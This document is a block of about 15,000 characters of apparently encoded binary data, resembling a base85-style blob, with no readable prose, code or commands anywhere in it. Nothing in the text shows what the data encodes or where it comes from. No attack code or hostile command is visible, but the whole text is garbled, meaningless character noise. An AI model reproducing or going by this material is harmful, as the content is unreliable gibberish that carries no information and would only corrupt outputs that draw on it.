z>m@cf;{8X_oJb)lQvD!uER?QraR_)SMvL>1(n5iqlq&wSdXavh4D5a0dkS|G{dh@o zQNsk;43|hrVR#-tIOnbV&J4G1kpWZn>0}99JJey{bcCHEnoP{QLxe0FLSE7L0fZoM z4hHMe0gsm}9yo6dD+K}UQ0-iplfsJ%pJy1;><{K?TmLk#}OTwO{h#SLH zb_HUUw!= z;;5t%_23yXlJyfhnIm-*2Zg~yzX$wu1Js2?^nLUVC$K}zq3Cv_#1k?#{aowjHsid~ zqjnP*ujsYi!k8A;Q(|ag_R}xSW3}yaUo5PCf3J{sm|fQj|5K}O70x)UMYH0tP#z)6 z1vbpIFkUhx(bQOmnSgbgv6^_}u<9ru?zErH-dG1>kvjrJ ziL5nl$A~e1-i&+Iy9dM?$?fl@yOlS+?q-K(sJzcljUYS^fAd7PQN*9CWwC*tA3Bq zXPXr4g1Dv$^8NSV!U{oxlLq;n$K!#>m#6C;pY({lOPKmhEMwKa%>_W77AlkN7>V8 zZak_ld~K=n31s_`^`^wThX}(ui0vR7^At&x0NEz^gn=9o5!`zbauUdDp7Yj=fSp#% z5~ND0`_6@+kI{9?ReopdU5A8N5UeFz@Gr((LJtH+>f(!Vz{<}LGspwH>QUj@Hn|^f z5BT_%#UkC&DNznN2iQ|F(%&0CNB3W_EGt@&1kGZ;TVNzcQW6Ii%NX{vNysz;;$e5v4SWpohG-7qqZA!!XNxguSF6x3<19w3W-g zyN`T$bh30>4J%Ka5BmparN>B*sKf5H65+=tv-nrV*n?S(#_gycn&&6kCY~yCjF|T8 z*G0)e#USzc9if}h#_}ELXT1L#%3}3CO5BM|#vqEF(U(jKaX>otZ}_RO0B7oN%|Fy< zaO4{nqj~F$e(I_0*G_%*GgFDs4*m4AGodUMIuIl#vYTV*4Eb%DVSHRKtJxHHF!#-E zeh;S|b?qhnQJ+;O#CiVmCsE=B+5p!;;d_=G* zZqc|Dd`VgRuyX0AMN`qTc0?aDa5H_U8GqLcy-@XNF{*jZWc9sy?e7=W)7Ls_xzN-4 zRHl*B22&R_NMlckG^EMHI26*X4jzHDG?g$@rD~BSky>g=WhYPp(~6nA4pTo% zTtCgIX~;Uv`&+*Gv|x+@yaB+w%ihEo<(AznIoG9g%~>1K-7Y)S*m1AA6ejhqYu=vT zuDhcVzuk2Hu*S6I!%$AVt;bhBycQ*$fwt?rcSc~V-T{GNy z7tE3KaFo#i;XNrG$>2Rr_Oj%|ub6>sLNqoYkKvt2EKf%r_!Gky{xlW*#iQKvPglcY zku{rhGjeUrixll`39D|e9$1^9Up!NGUp+j}4okiWKAxs(@;{wckh~t)fUt74?LJsEzp^MDW`dw^dp1rg@Z;LW?L=%}kJ)c%wa`=17WgIl_`JdMNKYF+fko8~Al_ZARbcB}itQomE zE!Ld1nE5+i{=>Pj2ogTbMxsqx)y8A>rOa;aP|jtdj-N9Td4w0uS1MWJHEC!$Z@ehM zi_P3ua~&IKTDSG_rL)&ja$<%C6?lYGdExrS*arM`lr;dchDD@D#b#;7ODBpYr=+Ea zXJ(gaNt$9;R|hMAP#PPHBXkSd43N9JbZctMg>!lPu(4W1y!Xr4IeN%k&v*r2{{}OSFZnN)>61V+dxY&N`d!vLvB)pCfRGJ zbzf8BNH27JX}6?2>%u4T_#UZ(Eant)F;T>5p{*8(*&I`&^IvnTpU1vCVK^%b!Y8ZhYx5N{2Z`dbZZ@mcG z)4}*i;g|Dov5Zf6-=f8cizx8;*-`R!zFHpo$FVE8?7*qqMD6-&+0qH6AYrL(CmCE? zQwN$04jJOw$1C=u@-x@`N@ra&5zTOI?xa!iET=iZa%AR(&klgKK2Qp2-afz!*Me%_ z0J);dw@tmCB~)w(kWL*_gmk)+kQ8+Coiy2nHi{UQNJ-n^s{ z?={q>AJ%Hrri<7s%zBWVMaFgrBQwmlm%c*AW`tRr-+VMeS%$-nV?E7woVNz5hgn|H z?cL$t{;C}l8PU0(Vx>79o`xemwZ~VG7WjkrliTByk+y2vAEIAo&vm3ap#oe~2HI|1 z5+)^Wjtpvv&s^L#K?1jI4o)7oGtv!h+$$c1&ka=;sRDP{0Utc?ghJ5T8u7yUUU(M5 z<=4LLIBG=D?P*1hx$J9umES#XX)KdcOW=y1O3`9jio*;|1wa88tHBk-rx=(YD|B@xnwwh{Dt zf5#MOCAfD0m-X@x&r$MxeLg?oQgije;`QZZCV!SoWnl zPdt9NLLkrR$2a-9BA9#UL2b)A09OfNQbIQWZv>lYk%PU|ycZz~VL5LLCHm;qFF>lJ zId~0&eax;Gp_%{k;XlraB0$nVd`LNywhxV|{Lk_yr)z?9`PuHyW7*%^F$_N5M%83L zD+w%2%~&f`r!nuK%by}tHA~^J1wS+#$5!Mz&+n8*DZY#yq@+OkaM#<1$(|28Fwj8J zg##r#+#`zOr!%J^a$@4opkQAuf8JE=5Y|xkh{))uSWvuTQZiR|dWJNAwNq(mAxcp( zR~$z|MM`STuguR45}htBZ5}0gWvms*y+QqUbpd^i)6Inw?o;2p%6qC-7sUp7Y(|Y| zx2}qYk3~BM~0Br?fZpP^Vf6?)@)cA?SaPvUDUNp@5diC=Qz-xWhB zLvt86udmfm555PAkO;5R)fs(N7q&4(WtGU&c`)tN_(pq&pTrFGTh`5Yk+1K@p z=9Y1_83D5AQO~WRU3&}|!QyY!QYxfPTzS?=w9%6Y2oD+J2kG($B(i-8Y;~z6bygA$ z#4sk@#~EMaFGOrhsS_KN)M`NVPYFC)dgEj^>#?kQ_P)c1!-q)%1%8DAT_TZqCfOFp zi3)046u7;D%oHV7d;WsPV&gQ6zhDTo`W$Tzry7L{wz=*ft@b!kdc7<@9DVdAao#)) z0=e&7;Ag$!z%+Ma5@LuFY{I?$J~;V{mkt2*BeH4iwqcjx(FwrR98?bc;EEg#Lh@Gi z4#tR5-4Z4^iX#t=t~wwOV^49$108JM#Q}H)c@QEgAB^#$P*Ia}W5r|)0^c*~6QJ5D z>?Igrf0siMiRb-Aw~}y&C0T&=%M}HX#1Nvkk}ScBY=mawI#eKKY0GYuW(X+~PFGqh z63WQAbMa3Lq#h>E0dX}0Gb6-6AE2oaylMGKS}BJGDPM;V3vCookH7=YQb$E6NuZv88KkYs49#pa-S zzUEcL7jWSEiRST#QSC!p9VyQ~U zH1wruyTEF^VKvvUodZDE@NzR(8Oiv#qB75Xd1^F6%y;INiB5Z7llZ~=Jsqad)8zp% z$+yc9+;#rT4sox?>j@PrkK-{|sjl1gpy$h*6{{nD^vT$Ym)*3CSK)`_0T$=S-^n?lWK%0&g1odYtsJ3U zgLA(qHwi$OxDZy#q?LFj@Dk6t8?TrpfJl?5xExrpS*Pz5Vy7O52H}TQ?09DLL zl~@+cmv+=Dnn=!vPF;hBf9dn@iNVa6=(hDYSB+g=hk@r)cP^bWHIFW_4HZo|%q^^f zd2ReS>>ZJvUEE`Jykg{S{n-LhLNd5RS?m-eqds}Zy2pP8CxxY?WmcnSe`k+yjMgu5 zE8!`VNUjX5$*eOD&x>q!ZT;2G?cVL5-#0gp-Z?HmNjY8dJ91$=b7@(8m0~?71z~pQ z+;VUK+adXJ{ifr^lk(Ly@M)(rNM@$R6WQtsj-WTuHwg0{K8dI5mk$RDM}+F2b%01P zD&=={Aa-tl81(dO!5y+9WnYYa7zlmMUQ2Bv;rkL?m@tgjjOTT)E~$jYhX74hbWM*l715RosILflom zqeZ-47#{i8TffU{x-y;*Zy;+eLGqsI?sgjon3EBh2G{6FcNbq4Ix^Q)()OqDqr8!7 zsYN^=E^fVFy?($P5cvp?if8(;ksf&aqV->qNWcgaeDryX2P6wb7u+RvC-$TT22;?h z<|xr1ChC%K5LV5+H>&i;C9R%K%7_$M3EoEI_3hm@6(T3oiD5wgObPfVY)`2tBY5>I zo{s0UejKK($@_!@&5-;A9@`@C#B86Uyd=|ll+75+eo2xv+c`C&bjLk4+zi*7L%dW^ z#A1RhU%Vx>Y$)-)ffAn-Je2r&)AHixdW`d-X$2+)iI&CSf(*|k6L5g9lxb0J#!+EW zae0bqiAy!AS!u;MePL<+nz~uJ#n!M{Mav5)zoHxCgL#!CPN;eH0JBDJ^|;`&c`dQ9 zw8d-Pj21&y-I8UhMZoF5kwf;&Io`H64g(w!t;cE6iG^YN-} z4>^drxl=zSqp1ca?cy9zoJwqQtk_EIc2LuT@o*Zuuk{FNgRHQ%7^=?^vzo+a2j=h=dV=*VEK)1B-LQ+Yro_$Lno5 z%cnW0U;A=0I}_^H_W$7egwzW4YrCP7WjsVVbt00pO5C}9yd{$Oy7tb;8z)U0ft!|( z9H`(+gs!vCOwff6I`CoTz?v5(USjz=+R=Y zzZIp*bAohU&)7uY&MH7r3HGOSfS04Qdz7AJID(J3Uua;8Trh|_Ox=++GCH5zGu!*C z335_qY9(DdPgR^oX+cvn(7!6RhP$rFv9YCppshWylcJkBhqZ5DreJ8;YLt9jIA{9z zy4&2m#UlDLU=m?%>Ux(tJEkBJK2yYwS10Ht&m|e6PoRw`#n>E zObVA(|726_K4&J4PsUr`IPg^N8w1;v?{;)Eu%h_<-|&9Y6T$raq}6w1f6Sami2duc ziF7}2P4p!14~80xum&+j=or*g&P1ewVGsLYj#xP{23(4H>Ulc04zt2w<{ z<2KC1U`}f^Q>=7h5FgXLIywqQ<5_5bhUR9RRy#iZ`Z!{E5^G?6_VWDIIcM7>F_N3; znZx+_W3AJK+>_Adm4FSg-QsS;x*Km_1N54d(yTbpm5pG5*!MG?#7Dmd9RdUiQLHLq zab>K6Z14H-1Nfki&F7m!WV(jBWN__ZSP&g-CAk1oJ2?d-8^jq9PPfJ*A0cxGmW6o9qAH zpVk4E+)v+I4B5{p9va%ud=E=+Z0Cn}WSDJD45Cd1F@p?qBVtfY@_=$ubcqRCAcKOG z??Wbq3ZAINkvS3S`56VuAk*Tc^5LU`^7bQ>(&|7dv$8y>lq>Rtpqf>*k3*$gJygoY zpG5yJ`r0smijHScku7#y@m{j+?2|m$?Ui#h8cM#vLOA2p_oE$*Ir>E$qe?Fswn{Gd78*zf{B+jw0gKl_Bu!xP&i z42l5f6z2P9j%gQq5B3f@mN8B##WVg-vp=DY2pKiAHivmF?Kkzmg^u}e`mj?4Zho8k zjomCN>>d>z^HUm>ARA1Ph!mz75u23_ z^iNGlCQnV*$jm7#&&v-iL@$EUR%v;2Y-N>IO&xPXqe)ADbX&WH66zRgD$LYW4}$2x zyz9_#5bXFw;`B_<+`=y3(z5*M_~hpAoxKa&_`{CXlMTrB*UM+h>puyrW^-~&e4Z~` z*=S&0R1s4RJc+oZ^9A8RS|UV$T0QbUPz$r}Z`DXW^hh+J*FgAS#dPl=YP75$MbeZa zF^9Ut*AiFnMiP>=5PwinsK_gD!ELRGaRyH1#>C8N6qnLfQ7DK=%8Jh>&ce#qTrM`3 zLBH}keTI)Hwb=?;h+F;nf#RnaaX6QI7RNCaD@{E|OJhDN74YqHqXmy<-sOp1{sM%8 zVFVHD9T8?i{feqq1|t^ljb5tNMEBb=m1z6#W_`@&F?9#}1E*7chl*B94Hq8j;1+8t zW^V%dxD!@IELJa{Kk!&Y)`xxw@@>^Ro9`sy&m>qqx3_Gn=y7Bw;k6k&Wf&Pox2h#|RA zqQ0s-(V*YK`cYEMi+ZtgN5}?oTym26Vai&Ex(VvVg9eGzo+x|4x)Jv}$%f3qhAFpY zLwl~4?f1XZYzf7U(u-C@j0{{MLn@h`un5Lk6flys34z4T200+tA>&*fK~%cr7&&zv zfSNE1fcI~N>=39Tx?U;E~Q&q4J+YaT*t-MSq_KgZB|Zy zzI0sCnL}DyQI0n#?oaZ93nj+S>GhEJxWgh(*%axXG0GFKwt&-Ps-JyflqQnEhN>N9ij@QO2H^+&RWS zRq%6+bFB~Cjf%pOo=iT8nR8Z1c$HjF$?lh)O}B_KeX4x_V(u{E(2Vb231_}~ovqaZ zs9%tXmF-3aI3whI-0%Cauw?d*!6 zdX07ic^)1R7i#iEctLpbk0hn=yTGE?lqkyX!F}|$8Qu!nA`8Xm7+)gD%^eUX{rCzZ z`i6s%9UJ%^M>C{o7cG|caBx)IP66rY*VbSei4!3?h>_^m5B?@i!O#7&8Yz+ zOP_I^fNR=*m|xa@+*|K+$bM;Gb9F;FyXrj?^y=_>J$$AC+Q48KZvYX9!N6BV6y}30 zzBhujn~d0U#+xMXw7}U09~^1r0*M3fqJk-7rnN(8kK(sLl~o5hHZ1+lfM9k(3B7Q% zwcu?ZUI-5`Qt$;yKkD&~E1`*%ohVIC=>jnUW_qF`8)v=10BN!#i9iR$ zfk#bXo^U}|B5aTpY9Am8Lr5q;fj7FSAkDG3yD*iP{)jj)(DeufzILg&xI~VOp|o(E z{>OWR()@ayjV8P*@{bYU{OV-=&TECT)6dYEZNkE~?NqeWa6ZofNf7bo= zJ~q<3-)i1%y}_qyTnH0yhtS%~do=7M$$NHg^WUc5@5|+Oy3p)rB|>Trf}LLK4@>RB zT%ZOJe`XsWbP$hll*o|<)vEAcGX5QpZ zVxyWWHQ_*#OUH3WHK9WT!z7D@63zy47Jc`BNfXYedpDq%u2MBUL(d7l7p?6S`0O;R zkA`HuDVW4JKg);Ue4+fSB;b&{fpKd%|FN^YzSTAQQg-i(bOYA+BNj9N5%X4CXi0zv zkxTWaQSdw9_=+7z?9X%*FGoCA&O=;JZ8uab>adVWQ|0!II=8`-B^gVKaf`}^oP|6u zIC(OD78}xjH?oORcNe?Xi7L?vP7fQ0jrn)_+BNBJ+m{D3i3jEF9)>rNZS4S-j+eo! zo2!X|ijG&0SHPvHwm1AupSBNjJsa@V7ropG=!cbnx9K0IXq?T9ZwS=|gv^6FUc{bB z+QH;=;<_Oh>A|{g^yNufq09+LdSO#z5_(o#Yj^4qyzRHZ$eRn~9d%)hrp#z~ybyiS zFU&<5F>=+v_2by(Bn`rqwLP&YURx3nt-h(b*6kLDy&hU;PrOgf?elW^*C)%XV@fJLy&2^VVJ6je!an-$lk*fNwir8JpUG(%8Jin|?APZ;|y zT^aR;>RkxKR%~g;`%MRz4lyR?8C$Z=2xX0dTEzq{C*50=I?JAYa3qx zZC8^LSJIJFpJ-0)o4>i?T+jR zSrl(!;_k7ofi9{!@0Z=Kx#RzP@Z`} z1<=+nKQgF0uDH*?&v_F3;{lGmLRIf3PoFD&rqWq6+IU>E#J~PWGM-FMh^Q=JfiqO>QY|H)#F zu?ib{u#DVeFDt~Bb}Ef2y8nl%pNUlA>yPjHTUloFNWiX)l!7et#Vpkzlhf|Ot|HxgNnNYutqnAb23ZWv(*(yIC6tbNl7*wqPM4{$RtBjKh;c*wlmGHUyUH$ ze#wL^!xDDLC{y62s8Gt{@-wY)z?KX6OUPc6F>mqwBu`1UVMd@#W9KI=#*uC2g%h7Dr@!4)c0cAb%rR{2_tS)yUXENlB3<^g&YOQAA$!!g8b@4j6(8qE^02n%nPI%1 zTE}^=nUdiCRXzR4etP}8m_Ej??}yRHs@Z4VvOn{8wySj`z(j$H1-;a=n-*iIwwq<^ z0a*v+|GC_g3JCo#us{DVz^Rp1)uiy$^g^f1EYloQ zD4MIPz_n0lYnGW*Fjd#o)x|cdHfy#rwxe}+HT0|)phjEZSBrX4U60tuYd&v%C8WqudGPeOE8U< zI)rcpY=%;u(Yd{}LzKa9nHLC+I07!v!tR@ zS0~295buLJp6SO*3%4VNl`6ZMpFd;h&a@h;H|POG3p?E{4CpoAh@{!J`>BnGHFx@? zQTmK%buoT6u%;IG{CMi$v(xUy~0R3{8?P%5U0nf%e-ocA= zq&Xk%P3Dr&GPgC$9L?1<^pv;pF+FzEM5DK*;Px&8jXEJ*-BYOoru5Zp_ zCn~=1zrL(KBLN*@F;su~Ac_S+fj!1F2(-iy;S$pcu=^Ff`Ge5%PAP~u0bVy4 zCR}36@iLt@BZU4aK{php9ht(1ecTxs&P5-r7x4x%NZ~K|!lM%G>C`Ku!d%C^p z_H$}@87@a^B$*x$i&UAuG0-MMK#I#=b_gOTO?G(w6>UbeR5NW>Jc#2kJ-ObAHa{KX ziVmF3%T1pXkU_W~Q=Fr2SQ3>mj9QvD3g}Dy3D$XnOn? z{iJ9m>Ae<#=G85YjK1eXj7SU-!*C6ZSJfr8JYi?8<7j=oCgLm-HiS_n*B$HCj&tLg)!a#24gHg zx}Rn!p%)pG#@9&v>J=0e%5M)G6Gte8q?l8SqRU*ttF9fugas&!Cy(8W!ab0-Y$c&E zMt61%c31KAX0Qv0G6)KG0V#)tM@Fa0$Hti^n1%z<^7GTcTp5|F*&4ah1%*Ymfj>&k z%2g|ws?q9dOB%(SRiH5LEb8tt&xC?_IBj(7YoD@it}OD*?}j<$1@Wcum9^B_P0DT2 zUGM#asH0=@Q;{>9i%b9OKexh{K8phr5giVIG6K~`>mSh3ESm5IRkm)Q>$g%i^95vG z(GY%G^*HY-wVH55qE}b=_uuCvVyG%iR=_yqBOl3``r}+;3o7#62Rd4;clx1KF}3oDZS}`iD37nOU+zsZh-bE6 zeg1RYQ)Sj*=J2;m4d|o%F&OyjfHqzT^c(oPu;zyoD54WEqC>D2K=?AZ=|tj7kmF1d1I@pp$w?x2 zWvE`*a%Jfz$aUkGR@HOo-b%_fg}Yv$2;w8&*pB?_$+ZIzf;j8Pd}db5vx60VzZ(mX z`b-rMr#`e3u5PKOm#B(YmzSUe;Vg(Z=(jJ3GfAl3i?=AhDoCVrlr&63UL2y%z&k>r z$;`T!+z;`^DAvh#f=xlraicFr$_?jDLCXu&l`zRi)=B~A^%@h>6`DIg(13eFKqfu~ z8ArfkFN*zGqt_tLC>@vOfCN zeT;butzdhpXPC%^lR>ZmZKCWPt`Jk|#GHhaz>aB$PvxCU`Lcsaef!RM_b!8;6BLy$ zZowX^Uf#X|k%mFRt{^jSS+wNjs5EEgShx6Ji84^H0{Bx*)~_7(Jf;G)qFVNnQnhlm zO2+EC+6E{nRa+U_JHTDt7O{GXtZYN+Bcoq?#V5R{ps388Q(X{UvRzqA`wNvKyE^*^ zk$<65_)PY1RH~vQzjgkPldNDcrZY;XjeHal2i_h_r<)e-gOu}vOp+)Z0)tksu@uxl zHc$R4h3;Za85#CQvEaHfCPyNX7swkow67ybjp2*vArwbTuZ9Y3tPRz~PtYX#V=z5z zfa&t3KXJ{%T8~ZOegCLXwuC~bT%ge>AdCI;NVO!Tl3pkkPq(dtvAdng?N8}kvm;Eb zH;17NN|VVGNy2^fT2hyTQ$sJi?lQtk z>LhXnxaU4~M(`~)l1B>cCE-QE-6fGni)94oMZKVG571T9rV4s4KQSL~rpwN2zPA}4^ z1YEitu!hwC)mXz=($0%17ca_=ytFCGNnWZc%1yVtFv&j%mnwED&}}v@HgFuKFZ5_f zJu0p)MlmWgTze=k6B=GJC~tdMDo$#y=G`FZL*+ZFlBX;=DHtu-IH`#f3+;BV{mo^{ z1XwWCptTu9JU(sA^j$7(+$ktIwcfl0Ls~*o7?_&R=Sq$&Pj8IR+Iy;D#T%Xw-RU@9 zry0(>ig2C~I+3~E3%jLQPtJQQA&QkPZ;e)r0isf+7Xz8LD{TFwi85t_6!<2W!`(Uj z>?5olN45iO^X6A$Z~g@&+}~wvA|Uv`fJ8|%$}VTzYL;RAyNsPsTu=PZDm!9?ctW)| z?`g&)`1dV?dc^_`dz0oTm}#ihKU{ypc#~`L57)rCb9q|%{Jh1i%J><_fuoPAvx}Q& zkgm6HsH%%JT2xeUtlf{WMCAx6XsarN6O@!gmBN^YmRZCG4V%bkC@d~2Ez7B(ud2?d ztxMF7U}0^JYi$edaOpzs=}qX*9kdu8jqRIooccBMJ7{j+WKnu~#ba&V2l4PQ0_F5{ zN3js+>T194=-35vb}oN;jdN1hZREY$?)kz4gHEgP_NyNR3vwr3kuBnmbuZcbwJM`e zeKU@S;Pa)AWNe1qE1hbS?WTArnOYR1%jH)oIYtdw_eIt{P%?(;QeGZ=p>)QLdoh6i z+AuE-HG=%PpcXKbB1iT$p0}*>foVR*^+I)>@XW%zBE+aJ~<84F57Ca%11S^lh zRkr}hQVYYC@}@Ko^is6((ZU|tfk@Xug@fjTx;XS_Fyc7(MMoY71Y%7HB!)&*Fk2k zf}^_RBknC^x$6<9!^8Xj>R_fsd!oJV@%DUsBvW2n(C6Xq>Ue#kqvP@M1%Yb}*B5-sP}kCsSr(vOkhI^2m>5To0T`=M;I8?S0u zw40#msJ0!W1wuAVB8`wN2r|qV(n&Gpbfq~M@x=+HaElMo2bxe+%ldQ5jUPJyjG zIx4B`r#~*OoijZyYuqb7F0ZT}h7QsY8BQvDAEZvI2B}NT%lny+PiiI+p&LxUmCefF zO8(#S@jtkLdzENjd0`!vENNQ+jkdf3X)Sc2r{Tp5%#Tx!87A!C&O1ZaT+jSkGp!|1 za3UoF*oK~%QWaJ>q&#FxRDXXOd1KK69OsrP4;wKa{5+;rx_rV-#FQC(?8quOv3gbI z>Gi|MSHV9(CMZ|}6e=1XAsiJg7#qi%koY~tIysFaBNG~!k)6j_P^ez)RH{=1O?9sl zs`aQ>t7+72`Ptlt-_dE<6WAx)J-{_AIW&qfK7l?pEj26hdvb-f{+SiMr$Np0%ph-JpmM!b&3y$UL3#S*Y zo)c$}(4-w-zc0T4_Vg^wz_9R$NN8g|RvSAZ!9O`AH7z|OGwVBIZf-CF3K$$$Qd)-Y z-0(4pwIO1YuD~rAbuf z^o0^|n63;~Zww7#j_=<`EM4QKb6c^0DC|m(emLJYm8@#e?7*VsnlC< z52s5fMlLo(*PB*H8U|O}z2VS^iEddodxCKp)(kBF=Dn$XNADdd?_tgvfvfkRFPgc# z(pPf;BX`hPsyKKQNKo$vF1Qgzyd7`kzNj!OqR4DkuaO6_-%P2PI`!Ro7(Y<;MQ?XsvDjh@G7YDF27Ow+g6h z+m=Nq8r+fqA-FpPcMopCf&_Q>;O_43?(RNuw?NR~?ixJd4zkwX=jl-hJ#!=~oa(IY(aNHdf56IneIS8QZlb-#exNk-kr7>__2Jbm1Hi zx9jb#QEMwcxTl4~j%p{ljo(ktAe23Hk>4BS<4!~n@;b=gNNkh@=7^D48}9%7Z2!3- zAmD~Xy|gpggfB7Vdby?2N1Zmblh*pn0-0DmReQlY=SITsfU;(4(VNbc$Emr1x_0N^ zh;9ZZQAUi2CFz+9znkZjew6M$Z~k*bhU*`e27t2Ga&_bJ@CgbI_VW)6iHvdxbBl;h zNK8sjNrFgE_vck+OwCIG%G;bjH@`f%5Tdw*tE{5Iv#KVCp|Ks{;=k6IA@=ow2km-3 z_YVwBXpQiWAx?gmoaULCTmG>U5^H8@w6(pBzPI=4pJjcr?ykObch9_ka0Qh0*7qYK z*(^biCt~O?LsM&Dp<5J5mchxi{xDl4lUZ!3vA!sVLJ4fn+MMCIbGBzYksWkW@fcFF z>~v1W0-s2kFP#RMisa*2NS2#la;`|EW3l6?-(Hg>`W49$0K&aPs&Cn6H^`L{<&|DY z`8-(<`Gj|Kz6dwb|Kj>~;BrJxY`u1h5ozIwhUZy#;G z=;;Y`B;+eg&e|GHUK5N&(qWn#*=GuyXy>fmE6aY2_@A^h+Q1FD+MCLg%98DPxgmAt zYZD!9z(5{wL*zQ!|6@DT)%ol3uXg777X%1$pFk1V^%r!)-AzP3#kMvk@!mNAlb_ z_eJtWLK;M;AW3YK0i$>ZVG{HQ;&HOXkcRO-(h`PvDq5UDJnBL{hDmY*P)5n;;UR`R zw5gmu>ZZVkzBHItQ^<6P5jDsRkS~?o+pn?JDsL^#?)OlAv^a}V0u)?KP(pT__fS15 zOE9x-TU#hW5nL{&g;G}PrbQR+7zgkI9X%yE{3#EnSp}(frMV@ot%t?L?UG06@Jp^V z2rUz>G}s+;_hq=PW@2!z|dz+b9h`U(B*x5UV zvp5COxOu>N`2_fVP7;aM4uy}%Mv9V@j`c|JNmfl2PM6NiiO8cWkc^9$O)M`JZWFAu z39SjQlcFv3Y)Nb%qsR}2Y3iNnZ5^MNm<;|lyAnRPFb1amvAV0bzEQeGv$J=`ad7B& zJRNs_$9{Qb3i12*6oSLBn9Ts6r`m4_f3|8u0OG1Bkmcit}+W*l~Zk(D$YSV&fL$^k`9~I_{S|7kk)&i0X3aGeL%doWOpB`nsfss|!%g(7KPto26i7>zw!fY!b<8!N=~%Ys9y zD~jHrr$E|GTQ-8-9{tG!j>RI1*)m^{Mib;}M}NyNNS@~NWsV4fp!D`d>%|@d0WT^% z7e~O?!%u;~(tLY{L-F-MPpGxBWxt|SJ1e*2;?`yBHdBtk+hgUfAa~8_Y5G>%3Ic%% zAiiKKow6a}A8ObCn~vUOGla6Rcr%o?aep(6ae#6woMp~rD}rOUcnc_j{jDegSgP%4 z5lqwV7;*BFZJ?u1(FMusK^ex6OG}V30Q$28;E&tTPFnYQSD36?Ew=mCC^MuFWPu{! zovKoQK%Q>icu$@of|gyB>Ac&rm*D|R1kUz@r3OY)aR37ZBxNgQZsc#UN&c%LPH=vV zdT2>rs!(c4dK&c-RZa{f*reDe)s?y=vb5DK&*STbS+4U4mw9$wW~g~(=H{?@mBa6m z(yE>wNu!$9%n;gAO?pJyFEC&RY%2SpP$q`WxGlKq)WSMo0n_cIL}+$d>jqV8zBCV@b=xZ?Fy;<`#f$ zq~jD8Txop)c9IqNIC4PJoT2lJDNPzyZo;_CRi@WS`G=K@EJNPRvHSO5qW$k30ma$r zwQG>1y9c?KU*uP(;8@YnFw%&q6r-593=Z@}3i!Od)IuaLP-!VlMMYUDTy3paj#_pj zX?{UbN=bEPRdrpxZHsL4U>kf#r)@Q;8)m8xu3=DUxMg%as;lhVY~TEXz*6In6~DFe z?#;UGox!PZ-@ac0-4En7@D_Q5L^z(A)Q0eedQENdX^NmH0F5NlMD;AEFANIGWY$D} zp_CC@cz1cIhJ+=WSn(O3xI~ zcOsKp0p-NR!DuE(-iy4SE6#kp`f5l8x%I0#alX`^%Hw>t-_{@j<>yHDP~W{tKUDUJ zX3*vKC;-`C1D~)`Yr9Q~h8kNhgqMH`yT3bT`GMuw*yYqVZri&1QgVFWq6zbPpYB6)1N1%aXlJ z50vvgbRPsRO4I=S5h#dorqX>Bt&cb&$gwITkOhfGu8@VPU#USwnd+_rIXPxrX4wTs zu4Y*!uF6m)6?#9ZOKW6d%qnWXd7I}qoh~U=b>hRwREt4K(aI0trzzHsjPzO5QSl<4 z2(d}OSE_56JM_0~Bt8IJ)^oZeqUUdFiCDFuXN1x7DVLX_V)V8y_mEbPaF>w&TzZ7+ zs6Ui~w77rZh7Vnog_HsRPSjzfg`?o<=_zBOrMGx>dvppW6%_6scrSHK)mQ3F%V>+P zaeUrI8f3xL`i8mPt_9mV|HI&$;4h{4w2Q}#6Ql>}jFa#0d6?dFcDXZ+h-IsOC=)9} z6UY%_|J64m&rIjYsq~o_{Qc5ElXZRvgvPoc=l_ov>ECsn0?PcWjzwS0r3mHb8=W>J zqk1oO%)pcNS9%1_r-oS5A+zpG=2R=m@t^L43;$LC?3#;pjeq1Y5gD2DHOsXQAv0sfOO3QXyJ1S@fam)g*FpL{hkQKCa{|w z8pK$Z;+x&sMGR57Y;kKiybS}uY z-?k-`N7tE1m1sWNmunE(K;>HsHCZjU@n4=APGc2nf+?X#cQl+gb^8SLcqL|%7xjmz zNPDxtq|6zPQLuEa|45lJp32pXrnlT@*`0+^sq5Ursh!7?H^wTBxN8ji(Ry+Yd)x*( zUpER|qw~b&e7j?n;^&z8#IR2UTWcKkGnUJb1*0dZEA!*ySFfY?Fc51IRe*O;Eo6Uo!ESFz3S8E<8@XoT&v?weK>riMyaEdqxN~%Pj2$!GI{ZK{k z!2X|AoppWR9o7&90Yifr0mOQ$x$h~sl8J+PgNwbx7;4e=gV4VX`2kQpB&ntAf8iH# zD?pLYCW1NK6GKdHx)N)^dO!-2SEt;OR8oPTPoObS+enmhfKN`44J`qs+$I0}I?iz3 z1xncc=3p<&8ODPZYxR+~>(}8j9T*~x+opRR|2=FEEWv1XR~w&nRWAkwu0=oQW2kL!gB8+;GJLro zwnOi_B<+R?v&N{qDG)8FN9pXPsmJK5aO;M$>D`$}k{|)c0EF8ibB(~Om4m5X%$2Gs zewvfoe3Ng-ER!yQF=w*^ugn~0RL{yCUw?MOyPBu*kES*IS5_Po(k0_;FjfSePGs6_r+3@z!k(DlTofx^=1R5b z?{~AWR$7?VlAGQ?9DKD#XI(AKJ8kXDuY0^bst?0!J5HIeU=y?yrt(p?}O63 zIqs*Bv-=PIKq@HrukQ$x{L84`ACvlzv8xx8dYIH&+20fvRoa1wMT?%ix}{jfk~@F? z*U_CNVjY`lcyG~yIhMC=`>ku|z3jN}xW}35UA^=NpS?xwb-&U%Gb$jvhw-TTL`D1Q z$v6eUgoKBAMyK1xI>rYkCa1UoTACJ#hCyPIYk?`CaEr2)Cj{l!sMIxd2{x%$>6n zAhT|6O@iHotR(rVugO6o0jO!6%sVK=PfgLUGkgqb$rhSF5hsW&B18)c#2OHDWp_Sn zI*-EcW$dV2wy`l#h6(MM>?BXEJlq0m&xMmT4LjVjvYWq!aqoIf&ozVq<8yR@C+w;=HPEw^i`3-*R;?NRo$5YNtj_Jtr8 z)bYXjM8Dkj3 zVYlc9bOvgOrUuav{z;T4MY~KEjf*{Lk^^e1>BiqpDL~FQ#e1LJ@pp?dd@eam6as!b znxutLSDQ#i{FmPmv%`|&!qP)P)BexYef!PfKd5_5^FP%6aV;RN3e-jOAXe1PC;;CP zf^S+!`HiY}Z52&cAOx%M%}Db;&_3`8X%WjWqi@?QY@=@%Y363=5JJnY>byfC0(U*% z&_IJB5Rss}A+g;VyAjH~tGiE8&a1)bazCv5kra-P$KGpT@P~1#^f86Y+*=Atrl=*n(;iT7g494QWK8^WFUvn{LzS^Ic z&an1$&3=Xd;bPW!vgzmiW96^gWs0?q+w~-Ew%e7oD$m8@xUS!i(*KkU|7KzT{dWi9 z&yxBVj?KYxa@XZQQ|D#DN(dF|5sHV7qbI;FB;XxF&n|{kXW4B;u=+R0=FF|GY2LQw 